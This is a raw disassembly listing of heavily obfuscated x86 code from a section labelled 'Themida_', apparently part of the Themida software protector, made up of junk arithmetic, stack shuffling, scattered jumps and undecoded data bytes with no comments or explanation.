		pop	ebx
		add	esp, 4
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		push	eax
		mov	eax, esp
		jmp	loc_543184
; ---------------------------------------------------------------------------
		db 54h
		dd 0BE56515Fh, 460575D7h, 8B5FC681h, 0DEF7D8C8h, 174CC681h
		dd 0E6812F6Dh, 18514D06h, 57FCC681h, 0F1890091h, 81E9D15Eh
		dd 512DFDE9h, 0D3E95308h, 29FFFFC6h, 62BF57D0h,	81379520h
		dd 7E2D5AEFh, 77BB535Dh, 316F7A7Ch, 10A0E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550C5A:				; CODE XREF: Themida_:005532BFj
		xor	esi, ebp
		pop	ebp
		push	edi
		mov	edi, 9DC6317Ah
		xor	esi, edi
		pop	edi
		add	ecx, 61B115Bh
		sub	ecx, esi
		sub	ecx, 61B115Bh
		pop	esi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0FFFFFFFFh
		jmp	loc_54BBD6
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FF7BBD55h, 0E931BE9Ah, 52242C8Bh, 0FF10EEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550CA9:				; CODE XREF: Themida_:00543845j
		xor	ebp, 3FDE5933h
		pop	edi
		sub	ebp, 1A4E629Ah
		sub	esp, 4
		mov	[esp], ebp
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_54D8C9
; ---------------------------------------------------------------------------

loc_550CD1:				; CODE XREF: Themida_:0054AAE3j
		mov	ebp, 132C30FAh
		and	edx, ebp
		pop	ebp
		jmp	loc_555921
; ---------------------------------------------------------------------------

loc_550CDE:				; CODE XREF: Themida_:00547FC3j
		and	cl, al
		pop	eax
		add	cl, 7Ah
		sub	bl, cl
		pop	ecx
		sub	bl, ch
		jmp	loc_5438E8
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 2474FF24h, 773DE904h, 0CD01FFFFh, 83240C8Bh,	0E80104C4h
		dd 0CF30E95Dh, 0C629FFFFh, 81FE0158h, 0EC27FCC6h, 243C8B0Dh
		dd 4C481h, 0ACE90000h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550D23:				; CODE XREF: Themida_:0054759Aj
		sub	ebx, 1FD96257h
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		pop	ebx
		jmp	loc_549BC7
; ---------------------------------------------------------------------------

loc_550D3F:				; CODE XREF: Themida_:00542D59j
		sub	esi, 36C4E0Dh
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54465D
; ---------------------------------------------------------------------------
		dw 489h
aRJerSC1Z@@58H	db '$Rº½j¥R¸´S³c1ÐZ@@5Æ8',0Ah
		db ']h½',9,0
		dw 8900h
		dd 0C189240Ch, 5859CA89h, 3336E9h, 0EFC15E00h, 68535005h
		dd 1D464Eh, 0FFA883E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550D8D:				; CODE XREF: Themida_:0054964Aj
		push	145Ah
		jmp	loc_549B49
; ---------------------------------------------------------------------------

loc_550D97:				; CODE XREF: Themida_:00547C6Cj
		add	ebp, esi
		pop	esi
		jmp	loc_554188
; ---------------------------------------------------------------------------

loc_550D9F:				; CODE XREF: Themida_:0054644Ej
		pop	esi
		push	ebp
		not	dword ptr [esp]
		inc	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		and	ebp, 0F53A8Ah
		push	ecx
		jmp	loc_54DB37
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0BFh
		dd 8155ED3Bh, 0FE1CE7EBh, 243C8B77h, 0FF4107E9h, 24248BFFh
		dd 0E92424D3h, 34CFh, 4240481h,	8B000000h, 88E9240Ch, 89000028h
		dd 0BF572414h, 384704DCh, 0FFECAEE9h, 0DBF680FFh, 535AF028h
		dd 0FFBAE4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550E01:				; CODE XREF: Themida_:0055637Ej
		mov	esi, edx
		jmp	loc_551896
; ---------------------------------------------------------------------------
		dd 8904EC83h, 8B54242Ch, 0C483242Ch, 4C58104h, 81000000h
		dd 4C5h, 74FF5500h, 2C8B0424h, 3DB6E924h, 0EB810000h, 30E497Dh
		dd 3783E9h, 4C48300h, 4B850h, 0C5010000h, 4685658h, 0E9000000h
		dd 0FFFF9BB5h
dword_550E50	dd 2B60F66h, 0FFAA73E9h, 4C483FFh, 0EFAE9h, 4BF00h, 7C010000h
					; DATA XREF: Themida_:00541A14o
		dd 8B5F0424h, 0C483242Ch, 6ACE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550E76:				; CODE XREF: Themida_:00549B4Cj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_54DCE0
; ---------------------------------------------------------------------------

loc_550E8A:				; CODE XREF: Themida_:0054C727j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5511FC
; ---------------------------------------------------------------------------
		db 87h
		dd 0E9E9240Ch
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550E9B:				; CODE XREF: Themida_:0055580Bj
		mov	dh, 0ACh
		sub	bl, dh
		jmp	loc_54BF54
; ---------------------------------------------------------------------------
		dd 0B8240489h, 4, 0FD0FE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550EB2:				; CODE XREF: Themida_:00542817j
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_54BC45
; ---------------------------------------------------------------------------

loc_550EBD:				; CODE XREF: Themida_:00556657j
		pop	eax
		push	edx
		push	ebx
		push	ebp
		push	579B53B9h
		pop	ebp
		xor	ebp, 4E09394Dh
		mov	ebx, ebp
		pop	ebp
		shl	ebx, 5
		shr	ebx, 5
		add	ebx, 3C5E0146h
		add	ebx, 2B9BC529h
		mov	edx, ebx
		jmp	loc_543975
; ---------------------------------------------------------------------------

loc_550EE9:				; CODE XREF: Themida_:0054F396j
		pop	edx
		sub	ecx, 47A12CCh
		sub	ecx, 7369393Dh
		add	ecx, edi
		add	ecx, 7369393Dh
		push	eax
		mov	eax, 0A3323CBh
		not	eax
		sub	eax, 0D82F6DBBh
		jmp	loc_554A3A
; ---------------------------------------------------------------------------

loc_550F10:				; CODE XREF: Themida_:0054FD3Bj
		push	ebp
		mov	ebp, 38164076h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_555775
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 6E7C104h, 504BB53h, 23E97A80h
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550F2F:				; CODE XREF: Themida_:00554D40j
		mov	esi, 25551B38h
		push	ebx
		mov	ebx, 0DEB23253h
		add	esi, ebx
		pop	ebx
		add	eax, esi
		pop	esi
		pop	esi
		push	77Ah
		jmp	loc_54BCA8
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 1C8BD901h, 0E3895324h, 4C381h, 0FBE90000h, 89FFFF28h
		dd 4BB241Ch, 1000000h, 241C8BD8h, 4C481h, 0E9560000h, 1A15h
		dd 0FF0B9EE9h, 91685BFFh, 8900000Ch, 67E9242Ch,	28000054h
		dd 0EC8350C3h, 240C8904h, 49B4E9h
		db 0
; ---------------------------------------------------------------------------

loc_550F9D:				; CODE XREF: Themida_:00551A48j
		mov	[esp], esp
		jmp	loc_5510DB
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0CDh
		dd 66FFFF9Eh, 26B45059h, 0EC80CCFEh, 2ECC0FFh, 2883C480h
		dd 0C32858E3h, 668CC380h, 8124048Bh, 4ECh, 2FBDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550FD2:				; CODE XREF: Themida_:00554BC5j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54B00A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 15682424h, 89000078h, 89522434h, 4C281E2h, 0E9000000h
		dd 0FFFF329Dh
; ---------------------------------------------------------------------------

loc_550FF4:				; CODE XREF: Themida_:0054F02Bj
		sub	edi, 12074AC9h
		jmp	loc_553D5B
; ---------------------------------------------------------------------------
		db 81h
		dd 383889EEh, 0E9CE290Dh, 0FFFF88EFh, 7E7EEA81h, 0D601B1E2h
		dd 8124148Bh, 4C4h, 0D2C58100h,	111D369h, 0D2BE56F5h, 2911D369h
		dd 34FF5EF5h, 72D2E924h, 0C15AFFFFh, 9FE904EEh,	54000013h
		dd 49D4E95Eh, 0E689FFFFh, 4C681h, 0EE830000h, 24348704h
		dd 240C895Ch, 10BF3AB9h, 0B6CAE9FEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551062:				; CODE XREF: Themida_:00554EC5j
		mov	[esp], ecx
		mov	ecx, 2FA0102Eh
		push	ebx
		mov	ebx, 155B4088h
		add	ebx, 5674276Bh
		and	ecx, ebx
		pop	ebx
		push	4DD8h
		mov	[esp], edx
		mov	edx, 0FFFFFFFFh
		sub	ecx, edx
		pop	edx
		push	ebp
		mov	ebp, offset word_4A3DBE
		add	ecx, ebp
		pop	ebp
		jmp	loc_54C6B2
; ---------------------------------------------------------------------------
		db 51h
		dd 41062B9h, 2DC68142h,	12D466Eh, 2DEE81CEh, 8B2D466Eh
		dd 0C483240Ch, 0F6814604h, 1247C613h, 0FF1F6AE9h, 4EC81FFh
		dd 0E9000000h, 0FFFFA84Dh
; ---------------------------------------------------------------------------

loc_5510C8:				; CODE XREF: Themida_:0054FDC0j
		xor	edi, 58007609h
		add	ecx, 5D6A4A19h
		sub	ecx, edi
		jmp	loc_5464F4
; ---------------------------------------------------------------------------

loc_5510DB:				; CODE XREF: Themida_:00550FA0j
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_54B558
; ---------------------------------------------------------------------------
		db 89h,	0E9h, 89h
		dd 34FF59CAh, 2DF6E924h, 0F789FFFFh, 27E0E95Eh,	0F9290000h
		dd 0E9F1015Fh, 0FFFF717Ch, 24248Bh, 0E99C2404h,	0FFFFCAACh
; ---------------------------------------------------------------------------

loc_551110:				; CODE XREF: Themida_:005463B6j
		mov	ebp, 7C5F03C8h
		mov	eax, 0C6A1227Dh
		sub	eax, ebp
		pop	ebp
		inc	eax
		jmp	loc_555104
; ---------------------------------------------------------------------------
		db 0B5h
		dd 4E5C06Fh, 8017B753h,	0FD30ECF7h, 0FFD1C6E9h
		db 0FFh
byte_551135	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005418CCo
		dd 4EC8155h, 89000000h,	0BF572404h, 59354EEFh, 35D6EF81h
		dd 0F8894AEDh, 58C5895Fh, 4246C01h, 4A6FE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55115E:				; CODE XREF: Themida_:00556625j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	3031h
		mov	[esp], ecx
		jmp	loc_5477BD
; ---------------------------------------------------------------------------
		db 68h
		dd 154h, 0E9243C89h, 100Ch
; ---------------------------------------------------------------------------

loc_551184:				; CODE XREF: Themida_:005552CAj
		xor	eax, 0CC8761A6h
		or	edi, eax
		pop	eax
		jmp	loc_54C705
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 0A2h
		dd 1BBA7CBh, 0C6815AD6h, 5C014203h, 0A5E9D601h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5511A7:				; CODE XREF: Themida_:00555AFAj
		sub	edi, 60DE1910h
		add	edi, 1B5B613Bh
		pop	ebx
		jmp	loc_554B65
; ---------------------------------------------------------------------------

loc_5511B9:				; CODE XREF: Themida_:0054C2A2j
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_552636
; ---------------------------------------------------------------------------

loc_5511C6:				; CODE XREF: Themida_:00553C6Bj
		add	eax, 4
		jmp	loc_54C9C5
; ---------------------------------------------------------------------------

loc_5511D0:				; CODE XREF: Themida_:00542179j
		mov	[esp], eax
		mov	eax, 7D54446h
		neg	eax
		xor	eax, 29442741h
		add	eax, 2E916309h
		push	eax
		push	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 308F45BBh
		xor	ebp, 495A7F94h
		jmp	loc_542F4B
; ---------------------------------------------------------------------------

loc_5511FC:				; CODE XREF: Themida_:00550E8Ej
		add	esp, 4
		add	al, cl
		pop	ecx
		push	eax
		mov	eax, esp
		jmp	loc_554E25
; ---------------------------------------------------------------------------
		dw 0F929h
		dd 5F2434FFh, 0FF6C18E9h, 8067B4FFh, 0C4808AC4h, 8BE230EEh
		dd 0C4812404h, 4, 805AD330h, 0E38060CBh, 0D5EB80DAh, 4EC81h
		dd 14890000h, 4EC8324h,	0B5240C89h, 88ABE9A9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55124A:				; CODE XREF: Themida_:0054428Cj
		push	0DF1h
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_54A6F5
; ---------------------------------------------------------------------------
		db 68h,	1Dh, 10h
		dd 4890000h, 2474FF24h,	0DF2CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55126E:				; CODE XREF: Themida_:00555114j
		push	eax
		jmp	loc_548DD9
; ---------------------------------------------------------------------------
		dd 0E9241431h, 4E11h
; ---------------------------------------------------------------------------

loc_55127C:				; CODE XREF: Themida_:0054E2EEj
		mov	eax, 11D53FB3h
		or	esi, eax
		pop	eax
		push	ecx
		jmp	loc_54298F
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8904EC83h, 8B542434h, 0C4832434h,	3AE95504h, 89000058h
		dd 18E92414h
		db 1Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5512AB:				; CODE XREF: Themida_:005555BFj
		mov	[esp], eax
		push	edx
		mov	edx, 6C1C7625h
		push	edx
		push	ebx
		jmp	loc_54326B
; ---------------------------------------------------------------------------
		db 83h
		dd 0E0C004C4h, 0E0D5E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54ECF8
; ---------------------------------------------------------------------------
		dd 0C381D329h, 35106927h, 4861C381h, 815A78A1h,	0A9114FEBh
		dd 0AEB812Ah, 2933F656h, 0AC381C3h, 8133F656h, 0A9114FC3h
		dd 4AC3812Ah, 0E94EFE65h, 0FFFF7438h
; ---------------------------------------------------------------------------

loc_551308:				; CODE XREF: Themida_:00551FD7j
		push	ebx
		push	edi
		push	1BC759D7h
		pop	edi
		jmp	loc_54A0F8
; ---------------------------------------------------------------------------

loc_551315:				; CODE XREF: Themida_:005438FDj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	54A4h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		jmp	loc_5551B6
; ---------------------------------------------------------------------------
		dd offset dword_43B164+1A1Dh
		dd 0E381540Dh, 1E896280h, 7943EB81h, 0C38111BEh, 52E63337h
		dd 0D9F0F381h, 0D9015FB0h, 4E9835Bh, 59EE9h, 48F5400h
		dd 4EC8124h, 0E9000000h, 0FFFF2A3Ch, 5D2434FFh,	4C481h
		dd 0B9510000h, 5A456E50h, 0CA07E956h, 0EDC1FFFFh, 41F58104h
		dd 1041927h, 0C6835DEEh, 24348704h, 4878685Ch, 1C890000h
		dd 1220E924h, 57590000h, 0C781E789h, 4,	4EF81h,	3C870000h
		dd 34895C24h, 75685024h, 0E9437501h, 0FFFF85A1h, 0FF240489h
		dd 8B042474h, 0C4812404h, 4, 5C24048Fh,	3EBFE9h, 0E9835E00h
		dd 240C3304h, 3AEBE9h
		db 0
; ---------------------------------------------------------------------------

loc_5513E5:				; CODE XREF: Themida_:00556364j
		add	esi, 54D82D1Bh
		sub	edx, esi
		pop	esi
		push	eax
		mov	eax, 4E9D6B35h
		push	ebp
		mov	ebp, 74DE3329h
		or	eax, ebp
		pop	ebp
		xor	eax, 1A42E61h
		push	eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	eax, 0D253EDBCh
		sub	edx, eax
		pop	eax
		add	edx, 0E5A3739h
		jmp	loc_5493B0
; ---------------------------------------------------------------------------
		dd 5C242C87h, 0FF4E5EE9h, 24348BFFh, 4C481h, 4AE90000h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551437:				; CODE XREF: Themida_:005526D1j
		push	eax
		mov	eax, 324C5E5Ch
		and	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	eax
		push	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_544C7A
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0F58005E5h, 59EE88ACh, 0FF4B26E9h, 0ACE958FFh
		db 2, 2	dup(0)
byte_55146F	db 0FFh			; DATA XREF: Themida_:005419D8o
		dd 83582434h, 348904ECh, 2EFB6824h, 24890000h, 24048124h
		dd 4, 8124348Bh, 4C4h, 4B86E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551496:				; CODE XREF: Themida_:00553EECj
		sub	eax, 53086097h
		jmp	loc_5519B7
; ---------------------------------------------------------------------------

loc_5514A0:				; CODE XREF: Themida_:00547918j
		pop	eax
		sub	esp, 2
		mov	[esp], cx
		mov	ch, 0BEh
		jmp	loc_5506F0
; ---------------------------------------------------------------------------
		dw 295Bh
		dd 3C875DEFh, 3C895C24h, 9D1DE924h, 0C481FFFFh,	4, 0FF0652E9h
		dd 2434FFFFh, 0FF2407E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5514D5:				; CODE XREF: Themida_:0054C9DAj
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	edx
		mov	edx, 24h
		push	44D1h
		mov	[esp], eax
		jmp	loc_547A2D
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54562404h, 0FF1812E9h, 48F5BFFh, 18E95C24h, 2DFFFF06h
		dd 7B86042Bh, 83243C8Bh, 0BB5304C4h, 33034254h,	1C8BD829h
		dd 11F8E924h, 0E957FFFFh, 3717h, 5809EF80h, 7FE9C7FEh
		dd 81000025h, 0CA770BF5h, 0BBF5810Ch, 8955D26Dh, 0E074E9EFh
		dd 0C331FFFFh, 8904EC83h, 5B54241Ch, 3F2FB951h,	0E981451Dh
		dd 1, 0FF6404E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551561:				; CODE XREF: Themida_:00545B9Ej
		push	eax
		mov	eax, 7DCD2F4Dh
		shl	eax, 2
		add	eax, 2D2E1EA9h
		not	eax
		sub	eax, 65E7F034h
		sub	edx, eax
		pop	eax
		or	edx, 244D4C00h
		neg	edx
		xor	edx, 0D92021C7h
		add	ebx, edx
		pop	edx
		jmp	loc_542DB6
; ---------------------------------------------------------------------------

loc_55158F:				; CODE XREF: Themida_:0054784Ej
		and	edi, 0CF71C81h
		xor	edi, 0F34DDCE6h
		jmp	loc_5534A2
; ---------------------------------------------------------------------------
		dd 0BFh, 46C78100h, 81575051h, 930299C7h, 81D72946h, 930299EFh
		dd 46B85046h, 29575051h, 0FA8758C7h, 0FFC8E3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5515C9:				; CODE XREF: Themida_:005562E2j
		push	ebp
		mov	ebp, 620C2C38h
		and	ebp, 691156BBh
		dec	ebp
		not	ebp
		dec	ebp
		or	ebp, 4788323Ch
		add	ebp, 20C87048h
		jmp	loc_554517
; ---------------------------------------------------------------------------
		dw 2168h
		dd 8900001Ch, 0DDE9243Ch
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5515F7:				; CODE XREF: Themida_:00543E19j
		add	esi, 63A424B2h
		add	esi, 201942B3h
		add	esi, ebp
		sub	esi, 201942B3h
		sub	esi, 63A424B2h
		pop	ebp
		add	esi, 4
		jmp	loc_547898
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0ADh
		dd 1544557h, 0ADEF81D7h, 5A544557h, 4EC81h, 0D5E90000h
		dd 1FFFFD3h, 11EF81C7h,	58538214h, 81E28952h, 4C2h, 71B95100h
		dd 0F72CBF07h, 8AF181D1h, 29D340F8h, 0FF5259CAh, 5A042474h
		dd 0E924048Fh, 0FFFF25DCh, 0BCE95A66h, 8300001Ah, 0FF5304EBh
		dd 0E9042474h, 0FFFFCC9Bh, 4C681h, 34870000h, 24248B24h
		dd 183668h, 240C8900h, 1B6E68h,	241C8900h, 0FFADB5E9h
		dd 5AD629FFh, 5C243487h, 68241489h, 5E2h, 68243C89h, 29E1042Dh
		dd 0FF5A41E9h, 240489FFh, 0B80768B8h, 4118E930h, 8966FFFFh
		dd 29665BDDh, 6606246Ch, 348B665Dh, 2C48324h, 66575666h
		dd 664A52BFh, 65E9FE89h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5516E7:				; CODE XREF: Themida_:005453AAj
		add	edx, 4
		add	edx, 4
		jmp	loc_551A14
; ---------------------------------------------------------------------------
		db 0BDh, 0CAh, 51h
		dd 0ED816F87h, 12C70D19h, 5A8FF581h, 0C5813781h, 357EA97h
		dd 415DE931h, 772BF181h, 0EAE919E7h, 8BFFFF2Bh,	0C483240Ch
		dd 8BF23104h, 54512434h, 592434FFh, 8104C483h, 4C1h, 4C18100h
		dd 0E9000000h, 2CA8h, 0E925B151h, 0FFFF980Bh, 4B5368h
		dd 240C8900h, 42474FFh,	24048F59h, 6624248Bh, 9C240431h
		dd 0FF5A83E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551765:				; CODE XREF: Themida_:0055644Dj
		neg	edx
		sub	edx, 4E327092h
		sub	edi, edx
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	4B4D5415h
		jmp	loc_5563D3
; ---------------------------------------------------------------------------

loc_551781:				; CODE XREF: Themida_:0054566Aj
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5521FA
; ---------------------------------------------------------------------------
byte_551791	db 66h,	8Bh, 4		; DATA XREF: Themida_:00541AB0o
		dd 4EC8324h, 89241C89h,	4C381E3h, 68000000h, 405Ch, 0BA241489h
		dd 2, 34FFD301h, 0A357E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5517BA:				; CODE XREF: Themida_:0054DE86j
		add	edi, ecx
		jmp	loc_54BBA9
; ---------------------------------------------------------------------------
		db 53h,	59h, 5Bh
		dd 77A1E268h, 0EE815E88h, 50512E23h, 0FFF82AE9h, 75C781FFh
		dd 83417C0Bh, 0F781FFC7h, 7D0325A4h, 24048157h,	0CB5938h
		dd 38EE815Eh, 5F00CB59h, 42ACE681h, 0E6816302h,	20FC1188h
		dd 1F3EF681h, 0EE83465Dh, 6F8D6801h, 2C890000h,	4D4BD24h
		dd 0B9514F5Bh, 56E27A93h, 2089BA52h, 0E2D132D3h, 0DCEA81h
		dd 0E95623CCh, 4003h, 890F9ABAh, 0E3F2811Eh, 310E6410h
		dd 31D631F2h, 87D6F7F2h, 0C4EA81F2h, 0F72B6F7Bh, 58CA81DAh
		dd 0E90CBD27h, 0FFFF7D48h, 1679F581h, 0C58177D9h, 58B3084Bh
		dd 0FFFCCAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551869:				; CODE XREF: Themida_:00543F12j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_554B42
; ---------------------------------------------------------------------------
aZzhh@		db '^)ÑZZhH@',0
		align 2
		dw 0A4E9h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55188B:				; CODE XREF: Themida_:00545AD7j
		pop	esi
		push	35A9h
		jmp	loc_54A180
; ---------------------------------------------------------------------------

loc_551896:				; CODE XREF: Themida_:00550E03j
		mov	edx, [esp]
		jmp	loc_54E940
; ---------------------------------------------------------------------------
		dw 489h
		dd 4EC8324h, 24048F54h,	0FF3936E9h
		db 0FFh
byte_5518AD	db 66h,	8Bh, 4		; DATA XREF: Themida_:005419CCo
		dd 2989E924h, 48FFFFFh,	0AEBFE924h, 8966FFFFh, 63B7241Ch
		dd 0F800DD2Ch, 84E95266h
		db 26h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5518CF:				; CODE XREF: Themida_:00543B38j
		sub	esp, 4
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54D7E9
; ---------------------------------------------------------------------------

loc_5518E4:				; CODE XREF: Themida_:00544353j
		and	eax, 2F207FCCh
		push	ebx
		jmp	loc_550AAA
; ---------------------------------------------------------------------------
		db 83h
		dd 76E902C4h, 87FFFFBCh, 895C240Ch, 0D4B9240Ch,	5670EA0Ch
		dd 0BEh, 87CE2900h, 0F1815EF1h,	703512Ah, 63A9BF57h, 0F9295DEFh
		dd 1E5CE9h
		db 0
; ---------------------------------------------------------------------------

loc_551921:				; CODE XREF: Themida_:00546145j
		push	39202FA3h
		jmp	loc_54DC32
; ---------------------------------------------------------------------------
		db 29h
		dd 24048BC5h, 4C481h, 0EE810000h, 60BF1BB8h, 7FE9EE01h
		dd 100003Eh, 0C3835AD3h, 241C8704h, 378EE95Ch, 8068FFFFh
		dd 89000049h, 0F1BB241Ch, 8139D51Ch, 7A3BCEEBh,	0F7D3F71Ah
		dd 5E3C1DBh, 0FFB463E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551971:				; CODE XREF: Themida_:00548C03j
		mov	esi, 50623691h
		jmp	loc_555458
; ---------------------------------------------------------------------------

loc_55197B:				; CODE XREF: Themida_:0054F512j
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		mov	ecx, 68275533h
		sub	ecx, 0FFFFFFFFh
		shr	ecx, 3
		or	ecx, 688395Fh
		shr	ecx, 2
		add	ecx, 0FC1CC105h
		add	esi, 77C70A7h
		sub	esi, 2DCA742Fh
		jmp	loc_552681
; ---------------------------------------------------------------------------

loc_5519B7:				; CODE XREF: Themida_:0055149Bj
		sub	eax, esi
		add	eax, 53086097h
		jmp	loc_554D3F
; ---------------------------------------------------------------------------
		db 56h
		dd 277AB3BEh, 5EF1014Bh
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_549297
; ---------------------------------------------------------------------------

loc_5519E0:				; CODE XREF: Themida_:00556099j
		push	edi
		push	ebx
		jmp	loc_54A913
; ---------------------------------------------------------------------------
		db 2Dh
		dd 193767D9h, 0BA52D829h, 27AB3BC4h, 5DE2814Ah,	8139491Bh
		dd 4ECh, 0FCB3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551A06:				; CODE XREF: Themida_:0054A070j
		push	3DB1h
		mov	[esp], edi
		push	ecx
		jmp	loc_5526EA
; ---------------------------------------------------------------------------

loc_551A14:				; CODE XREF: Themida_:005516F0j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54B22B
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0B6h
		dd 5932E604h, 8904EC83h, 0A5682404h, 0E9000057h, 0FFFF22B5h
		dd 5B2434FFh, 4C481h, 53E90000h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551A43:				; CODE XREF: Themida_:00542059j
		push	326Bh
		jmp	loc_550F9D
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 86h
		dd 5AFFFF80h, 4C281h, 0C2810000h, 4, 5C241487h,	4C381h
		dd 0A7680000h, 89000037h, 2682414h, 0FF000000h,	0E95A2434h
		dd 0FFFF612Dh, 2404875Dh, 0FE24248Bh, 0E99C240Ch, 0FFFF008Fh
; ---------------------------------------------------------------------------

loc_551A90:				; CODE XREF: Themida_:005484DDj
		pop	eax
		jmp	loc_545818
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 1E4Ch, 55E9D501h, 0BFFFFF14h, 601C1FF3h, 0FF5FF929h
		dd 0E95E2434h, 0FFFF30E6h
; ---------------------------------------------------------------------------

loc_551AB4:				; CODE XREF: Themida_:0054A4CFj
		mov	[esp], ebp
		push	eax
		jmp	loc_549E5F
; ---------------------------------------------------------------------------

loc_551ABD:				; CODE XREF: Themida_:0055014Aj
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	ebx
		sub	esp, 4
		jmp	loc_5562B3
; ---------------------------------------------------------------------------
		dd 31240C33h, 0C33240Ch, 2CD35C24h, 0BFE99C24h,	0BFFFFF93h
		dd 4, 4247C01h,	24048F5Fh, 4EC81h, 1C890000h, 5CB85024h
		dd 0BB003854h, 0FFC7ABA8h, 8158C301h, 7A04246Ch, 53179F67h
		dd 0FF827DE9h, 4C483FFh, 0D864E951h, 489FFFFh, 2474FF24h
		dd 0DABEE904h, 0C829FFFFh, 4AA46852h, 1C890000h, 42AFBB24h
		dd 0D3F7066Bh, 0FFFFEB81h, 0EEE9FFFFh, 81FFFFB7h, 0E82149C2h
		dd 0ACF28168h, 1C860CDh, 0E9475AD7h, 319Bh
; ---------------------------------------------------------------------------

loc_551B5C:				; CODE XREF: Themida_:0054FED1j
		xchg	ebp, [esp]
		push	ebp
		jmp	loc_547F40
; ---------------------------------------------------------------------------

loc_551B65:				; CODE XREF: Themida_:0054A238j
		mov	esp, [esp]
		jmp	loc_54D52A
; ---------------------------------------------------------------------------
		align 2
		dw 80D3h
		dd 0B652E7EBh, 0E9DEF623h, 0FFFF60F5h
; ---------------------------------------------------------------------------

